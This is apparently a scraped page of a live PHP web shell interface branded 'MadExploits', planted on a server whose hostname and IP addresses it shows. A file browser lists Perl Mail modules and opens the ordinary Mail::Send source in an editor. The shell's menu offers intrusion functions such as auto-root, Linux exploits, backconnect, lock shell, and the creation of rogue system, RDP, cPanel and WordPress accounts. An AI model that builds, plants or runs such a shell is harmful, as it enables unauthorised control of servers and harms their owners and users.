Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Mail /
[ HOME SHELL ]
Name
Size
Permission
Action
DKIM
[ DIR ]
drwxr-xr-x
Field
[ DIR ]
drwxr-xr-x
IMAPClient
[ DIR ]
drwxr-xr-x
Mailer
[ DIR ]
drwxr-xr-x
SPF
[ DIR ]
drwxr-xr-x
Sender
[ DIR ]
drwxr-xr-x
SpamAssassin
[ DIR ]
drwxr-xr-x
Address.pm
6.62
KB
-rw-r--r--
Address.pod
3.69
KB
-rw-r--r--
Cap.pm
6.04
KB
-rw-r--r--
Cap.pod
3.72
KB
-rw-r--r--
DKIM.pm
2.01
KB
-rw-r--r--
Field.pm
4.5
KB
-rw-r--r--
Field.pod
4.88
KB
-rw-r--r--
Filter.pm
1.23
KB
-rw-r--r--
Filter.pod
2.77
KB
-rw-r--r--
Header.pm
14.21
KB
-rw-r--r--
Header.pod
7.69
KB
-rw-r--r--
IMAPClient.pm
99.38
KB
-rw-r--r--
IMAPClient.pod
137.43
KB
-rw-r--r--
Internet.pm
11.62
KB
-rw-r--r--
Internet.pod
10.26
KB
-rw-r--r--
Mailer.pm
4.69
KB
-rw-r--r--
Mailer.pod
3.87
KB
-rw-r--r--
SPF.pm
2.31
KB
-rw-r--r--
Send.pm
1.13
KB
-rw-r--r--
Send.pod
2.79
KB
-rw-r--r--
Sender.pm
107.71
KB
-rw-r--r--
Sendmail.pm
23.79
KB
-rw-r--r--
SpamAssassin.pm
68.93
KB
-r--r--r--
Util.pm
3.14
KB
-rw-r--r--
Util.pod
3.06
KB
-rw-r--r--
sample_mime_lite.pl
1.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Send.pm
# Copyrights 1995-2012 by [Mark Overmeer <perl@overmeer.net>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.00. use strict; package Mail::Send; use vars '$VERSION'; $VERSION = '2.12'; use Carp; require Mail::Mailer; sub Version { our $VERSION } sub new(@) { my ($class, %attr) = @_; my $self = bless {}, $class; while(my($key, $value) = each %attr) { $key = lc $key; $self->$key($value); } $self; } sub set($@) { my ($self, $hdr, @values) = @_; $self->{$hdr} = [ @values ] if @values; @{$self->{$hdr} || []}; # return new (or original) values } sub add($@) { my ($self, $hdr, @values) = @_; push @{$self->{$hdr}}, @values; } sub delete($) { my($self, $hdr) = @_; delete $self->{$hdr}; } sub to { my $self=shift; $self->set('To', @_); } sub cc { my $self=shift; $self->set('Cc', @_); } sub bcc { my $self=shift; $self->set('Bcc', @_); } sub subject { my $self=shift; $self->set('Subject', join (' ', @_)); } sub open(@) { my $self = shift; Mail::Mailer->new(@_)->open($self); } 1;
Close